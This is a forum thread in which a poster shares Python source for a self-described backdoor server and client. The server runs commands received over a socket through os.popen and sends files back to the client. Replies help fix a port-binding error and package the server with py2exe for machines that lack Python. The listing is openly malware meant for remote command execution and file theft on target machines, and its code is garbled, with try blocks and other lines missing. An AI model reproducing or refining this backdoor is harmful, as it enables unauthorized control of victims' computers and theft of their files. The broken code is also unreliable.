Everything works great. But sometimes I get an Error message saying something about ip/port bindings. I don't have the traceback
but this could cause problems down the road.
Any suggestions?

#Backdoor Server
#Version 0.3.0
#Every now and the I get an Error dealing with the ip/port bindings
#  seems it doesn't like the same port used over and over again...
#  This could cause problems.
#NOTE: can't change dirves

import socket, os
import os.path

def cd(st):
    st.index("cd ")
    return True
  except ValueError: return False

def fil(cmnd):
    return True
  except ValueError: return False

def give(file):
  file = file[12:]
    f = open(file,'rb')
    f = f.read()
    x = '=-=-start-=-='+f+'=-=-fin-=-='
    return x
  except IOError:
    return "No such file"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


conn, addr = s.accept()

while 1:
  data = conn.recv(1000000)

  if data == "cd..":
    x = os.path.split(os.getcwd())

  #doesn't work with full paths ie "cd C:\Windows\Config\Sytem32\"
  elif cd(data) == True: 
      os.chdir(os.getcwd()+"\\%s" % data[3:])
    except WindowsError: conn.send("No Such dir..")

  elif fil(data) == True:
    fle = give(data)

    c = os.popen(data)
    c = c.read()
    if c == '':
      conn.send("Not Readble")
#Backdoor Client
#Version: 0.1.0
#when give is invoked it will copy the targets byte data
#  it creats a new file named after the target; if you use
#  give on a file you already have it will append to it doubling the size
#  tests show no effect on this appending double.
#NOTE: can't change drives

import os, socket

def y(fle):
  if fle[:13] == '=-=-start-=-=' or fle[-11:] == '=-=-fin-=-=':
    return True
  else: return False

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((raw_input("I.P.:: "),1002)) #Change localhost to your servers IP

while 1:

  cmnd = raw_input("Tech B>>")
  if cmnd == "commands":

    print """=-=-give-=-=
  copies the selected file to the directory
  that contains the client program
    'Tech B>>=-=-give-=-=file_to_copy.exe'

  this function is not limited to the extention due to copying of the byte code

  data = s.recv(10000000)

  if y(data) == True:  
    data = data[13:]
    while 1:
        if data[-11:] != '=-=-fin-=-=':
          nfile = open(cmnd[12:],"ab")
          data = s.recv(10000000)
      except ValueError: break
  if y(data) == False: print data
Re: Backdoor help 80 80

If you have problems with reusing the same port, you should try this socket option

s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

just after creating the socket with socket.socket().

Re: Backdoor help 80 80

Thank you. I no longer get that Error.
Another question, I tried compiling it with py2exe, but it doesn't work on PC's that don't have python. Any suggestions?

this is the setup script

from distutils.core import setup
import py2exe

      description = "App",
      name = "Backdoor",
      options ={'py2exe':{'bundle_files':1}},
Re: Backdoor help 80 80

I did more reading into the setup problem. Seems I need to include a dll that isn't pulled automatically from Python2.6 and above.

Re: Backdoor help 80 80

I did more reading into the setup problem. Seems I need to include a dll that isn't pulled automatically from Python2.6 and above

Read this.

Be a part of the DaniWeb community

We're a friendly, industry-focused community of 1.19 million developers, IT pros, digital marketers, and technology enthusiasts learning and sharing knowledge.